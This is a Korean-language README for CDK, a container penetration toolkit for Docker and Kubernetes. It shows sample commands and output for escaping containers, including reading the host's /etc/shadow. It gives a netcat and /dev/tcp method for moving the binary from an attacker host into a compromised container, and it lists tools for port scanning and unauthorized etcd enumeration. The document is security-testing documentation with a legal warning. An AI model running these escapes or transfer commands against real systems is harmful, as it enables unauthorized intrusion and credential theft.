
📦 K8s, Docker, Containerd의 보안 테스트를 더 쉽게 만듭니다.
English | 简体中文

사전 동의 없이 CDK를 사용하여 대상을 공격하는 것은 불법입니다. CDK는 보안 테스트 목적으로만 사용해야 합니다.
CDK는 오픈 소스 컨테이너 침투 도구 키트로, 다양한 경량 컨테이너에서 OS 종속성 없이 안정적인 익스플로잇을 제공하도록 설계되었습니다. 유용한 네트워크 도구와 강력한 PoC/EXP가 함께 제공되어 컨테이너를 탈출하고 K8s 클러스터를 쉽게 장악할 수 있도록 도와줍니다.
cdk eva 를 실행하여 평가 정보와 권장 익스플로잇을 확인한 다음 cdk run 을 실행하여 공격을 시작하세요.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
최신 릴리스를 https://github.com/cdk-team/CDK/releases/ 에서 다운로드하세요.
실행 파일을 대상 컨테이너에 넣고 테스트를 시작하세요.
파일을 업로드할 수 있는 익스플로잇이 있다면 CDK 바이너리를 직접 업로드할 수 있습니다.
RCE 익스플로잇이 있지만 대상 컨테이너에 curl 또는 wget이 없는 경우 다음 방법을 사용하여 CDK를 전달할 수 있습니다:
(호스트에서)
nc -lvp 999 < cdk
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK는 세 가지 모듈을 제공합니다:
사용법
cdk evaluate [--full]
| 전술 | 스크립트 | 지원 | 사용법/예제 |
|---|---|---|---|
| 정보 수집 | OS 기본 정보 | ✔ | link |
| 정보 수집 | 사용 가능한 Capabilities | ✔ | link |
| 정보 수집 | 사용 가능한 Linux 명령어 | ✔ | link |
| 정보 수집 | 마운트 | ✔ | link |
| 정보 수집 | Net 네임스페이스 | ✔ | link |
| 정보 수집 | 민감한 ENV | ✔ | link |
| 정보 수집 | 민감한 프로세스 | ✔ | link |
| 정보 수집 | 민감한 로컬 파일 | ✔ | link |
| 정보 수집 | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| 정보 수집 | DNS 기반 서비스 디스커버리 | ✔ | link |
| 디스커버리 | K8s Api-server 정보 | ✔ | link |
| 디스커버리 | K8s Service-account 정보 | ✔ | link |
| 디스커버리 | 클라우드 제공자 Metadata API | ✔ | link |
사용 가능한 모든 익스플로잇 목록:
cdk run --list
대상 익스플로잇 실행:
cdk run <script-name> [options]